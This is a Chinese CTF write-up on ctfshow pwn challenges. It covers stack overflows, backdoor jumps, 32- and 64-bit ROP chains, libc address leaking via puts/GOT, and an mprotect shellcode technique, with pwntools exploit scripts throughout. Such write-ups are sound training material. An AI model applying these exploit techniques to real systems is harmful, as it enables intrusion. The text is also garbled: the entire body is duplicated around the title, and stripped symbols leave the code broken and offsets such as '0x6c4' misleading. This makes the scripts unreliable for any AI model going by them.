1. 栈溢出基础从ctfshow pwn_035开始让我们从一个最简单的栈溢出题目开始。这个32位程序开启了栈不可执行保护但漏洞点非常明显使用strcpy函数时没有检查源字符串长度导致可以覆盖返回地址。先用checksec检查保护机制checksec --filepwn_035关键漏洞函数反编译后是这样的void vulnerable_function() { char dest[100]; strcpy(dest, argv[1]); // 明显的栈溢出漏洞 }计算偏移量的小技巧在gdb中使用pattern create 200生成测试字符串崩溃后查看EIP值用pattern offset $eip计算精确偏移这里dest相对ebp的偏移是0x6c所以返回地址在0x6c4处这个题的巧妙之处在于程序已经读取了flag但需要触发异常才能输出。我们发现程序注册了SIGSEGV信号处理函数void sigsegv_handler() { fprintf(stderr, flag); // 这就是我们的目标 }所以利用思路就很简单了用足够长的输入覆盖返回地址触发段错误即可。最终的exp只需要from pwn import * payload bA*(0x6c4) # 覆盖到返回地址 p.sendline(payload) # 触发崩溃自动输出flag2. 后门函数利用pwn_036到pwn_038这几个题目展示了最简单的ROP利用方式——跳转到后门函数。以pwn_036为例程序存在明显的gets溢出void ctfshow() { char s[36]; gets(s); // 危险函数 }用IDA可以看到有个现成的getflag函数void getflag() { system(/bin/sh); }计算偏移量时要注意s相对于ebp的偏移是0x2832位程序返回地址在ebp4所以payload结构填充(0x284) 后门地址完整expfrom pwn import * getflag 0x08048586 payload bA*(0x284) p32(getflag) p.sendline(payload) p.interactive() # 拿到shell64位程序的区别参数通过寄存器传递第一个参数用RDI返回地址前需要8字节的填充覆盖RBP可能需要考虑栈对齐问题3. 无后门的ROP构造pwn_039实战当程序没有现成后门时我们需要自己构造ROP链。以pwn_039为例题目提供了system函数和/bin/sh字符串。关键步骤找到systemplt地址0x080483A0定位/bin/sh字符串地址0x08048750构造调用链返回地址 - system地址 - 返回地址 - /bin/sh地址system_plt 0x080483A0 binsh 0x08048750 payload bA*(0x164) p32(system_plt) p32(0) p32(binsh)这里有几个关键点32位程序参数通过栈传递system调用后的返回地址可以随意填充参数要放在返回地址之后4. Libc地址泄露pwn_045进阶技巧当程序中既没有system也没有/bin/sh时就需要泄露libc地址。以pwn_045为例void vulnerable() { char buf[100]; read(0, buf, 200); // 栈溢出 }利用步骤使用write/puts泄露某个函数的got表地址根据偏移计算libc基地址计算system和/bin/sh的真实地址构造第二次攻击payload关键payload# 第一次泄露puts地址 payload bA*(0x6b4) payload p32(puts_plt) p32(main_addr) p32(puts_got) p.sendline(payload) # 计算libc基址 puts_addr u32(p.recv(4)) libc_base puts_addr - libc.symbols[puts] system libc_base libc.symbols[system] binsh libc_base next(libc.search(b/bin/sh)) # 第二次攻击 payload2 bA*(0x6b4) p32(system) p32(0) p32(binsh)5. 64位ROP链构造pwn_046详解64位程序的ROP有一些特殊之处以pwn_046为例参数传递第一个参数在RDI第二个在RSI等需要找到合适的gadgetROPgadget --binarypwn_046 | grep pop rdi典型的调用链结构pop_rdi 0x4007e3 # pop rdi; ret ret 0x4004fe # 用于栈对齐 payload bA*(0x208) payload p64(pop_rdi) p64(binsh) payload p64(ret) # 对齐栈 payload p64(system)6. 高级技巧mprotect绕过NX当所有常规方法都失效时可以考虑用mprotect修改内存权限。pwn_049展示了这种技术mprotect 0x0806CDD0 read 0x0806BEE0 bss 0x080DB000 payload bA*(0x124) payload p32(mprotect) p32(pop3) payload p32(bss) p32(0x1000) p32(0x7) # RWX权限 payload p32(read) p32(pop3) payload p32(0) p32(bss) p32(0x100) # 读入shellcode payload p32(bss) # 跳转到shellcode这个payload做了三件事调用mprotect使.bss段可执行调用read将shellcode读到.bss段跳转到shellcode执行7. 实战中的那些坑在真实解题过程中我遇到过不少坑64位程序栈对齐问题有时候需要在ROP链中加入ret指令对齐栈libc版本问题不同版本的函数偏移可能不同输入过滤有些题目会过滤特定字符需要编码绕过信号处理某些崩溃会被程序捕获需要精心构造payload一个实用的调试技巧context.log_level debug gdb.attach(p, b *vulnerable_function0x10)记住pwn是一个需要耐心和细心的领域。每个题目都可能隐藏着独特的技巧多练习、多思考才是进步的关键。
【CTF | pwn篇】从栈溢出到ROP链:ctfshow pwn实战技巧精讲
发布时间:2026/6/16 12:06:47
1. 栈溢出基础从ctfshow pwn_035开始让我们从一个最简单的栈溢出题目开始。这个32位程序开启了栈不可执行保护但漏洞点非常明显使用strcpy函数时没有检查源字符串长度导致可以覆盖返回地址。先用checksec检查保护机制checksec --filepwn_035关键漏洞函数反编译后是这样的void vulnerable_function() { char dest[100]; strcpy(dest, argv[1]); // 明显的栈溢出漏洞 }计算偏移量的小技巧在gdb中使用pattern create 200生成测试字符串崩溃后查看EIP值用pattern offset $eip计算精确偏移这里dest相对ebp的偏移是0x6c所以返回地址在0x6c4处这个题的巧妙之处在于程序已经读取了flag但需要触发异常才能输出。我们发现程序注册了SIGSEGV信号处理函数void sigsegv_handler() { fprintf(stderr, flag); // 这就是我们的目标 }所以利用思路就很简单了用足够长的输入覆盖返回地址触发段错误即可。最终的exp只需要from pwn import * payload bA*(0x6c4) # 覆盖到返回地址 p.sendline(payload) # 触发崩溃自动输出flag2. 后门函数利用pwn_036到pwn_038这几个题目展示了最简单的ROP利用方式——跳转到后门函数。以pwn_036为例程序存在明显的gets溢出void ctfshow() { char s[36]; gets(s); // 危险函数 }用IDA可以看到有个现成的getflag函数void getflag() { system(/bin/sh); }计算偏移量时要注意s相对于ebp的偏移是0x2832位程序返回地址在ebp4所以payload结构填充(0x284) 后门地址完整expfrom pwn import * getflag 0x08048586 payload bA*(0x284) p32(getflag) p.sendline(payload) p.interactive() # 拿到shell64位程序的区别参数通过寄存器传递第一个参数用RDI返回地址前需要8字节的填充覆盖RBP可能需要考虑栈对齐问题3. 无后门的ROP构造pwn_039实战当程序没有现成后门时我们需要自己构造ROP链。以pwn_039为例题目提供了system函数和/bin/sh字符串。关键步骤找到systemplt地址0x080483A0定位/bin/sh字符串地址0x08048750构造调用链返回地址 - system地址 - 返回地址 - /bin/sh地址system_plt 0x080483A0 binsh 0x08048750 payload bA*(0x164) p32(system_plt) p32(0) p32(binsh)这里有几个关键点32位程序参数通过栈传递system调用后的返回地址可以随意填充参数要放在返回地址之后4. Libc地址泄露pwn_045进阶技巧当程序中既没有system也没有/bin/sh时就需要泄露libc地址。以pwn_045为例void vulnerable() { char buf[100]; read(0, buf, 200); // 栈溢出 }利用步骤使用write/puts泄露某个函数的got表地址根据偏移计算libc基地址计算system和/bin/sh的真实地址构造第二次攻击payload关键payload# 第一次泄露puts地址 payload bA*(0x6b4) payload p32(puts_plt) p32(main_addr) p32(puts_got) p.sendline(payload) # 计算libc基址 puts_addr u32(p.recv(4)) libc_base puts_addr - libc.symbols[puts] system libc_base libc.symbols[system] binsh libc_base next(libc.search(b/bin/sh)) # 第二次攻击 payload2 bA*(0x6b4) p32(system) p32(0) p32(binsh)5. 64位ROP链构造pwn_046详解64位程序的ROP有一些特殊之处以pwn_046为例参数传递第一个参数在RDI第二个在RSI等需要找到合适的gadgetROPgadget --binarypwn_046 | grep pop rdi典型的调用链结构pop_rdi 0x4007e3 # pop rdi; ret ret 0x4004fe # 用于栈对齐 payload bA*(0x208) payload p64(pop_rdi) p64(binsh) payload p64(ret) # 对齐栈 payload p64(system)6. 高级技巧mprotect绕过NX当所有常规方法都失效时可以考虑用mprotect修改内存权限。pwn_049展示了这种技术mprotect 0x0806CDD0 read 0x0806BEE0 bss 0x080DB000 payload bA*(0x124) payload p32(mprotect) p32(pop3) payload p32(bss) p32(0x1000) p32(0x7) # RWX权限 payload p32(read) p32(pop3) payload p32(0) p32(bss) p32(0x100) # 读入shellcode payload p32(bss) # 跳转到shellcode这个payload做了三件事调用mprotect使.bss段可执行调用read将shellcode读到.bss段跳转到shellcode执行7. 实战中的那些坑在真实解题过程中我遇到过不少坑64位程序栈对齐问题有时候需要在ROP链中加入ret指令对齐栈libc版本问题不同版本的函数偏移可能不同输入过滤有些题目会过滤特定字符需要编码绕过信号处理某些崩溃会被程序捕获需要精心构造payload一个实用的调试技巧context.log_level debug gdb.attach(p, b *vulnerable_function0x10)记住pwn是一个需要耐心和细心的领域。每个题目都可能隐藏着独特的技巧多练习、多思考才是进步的关键。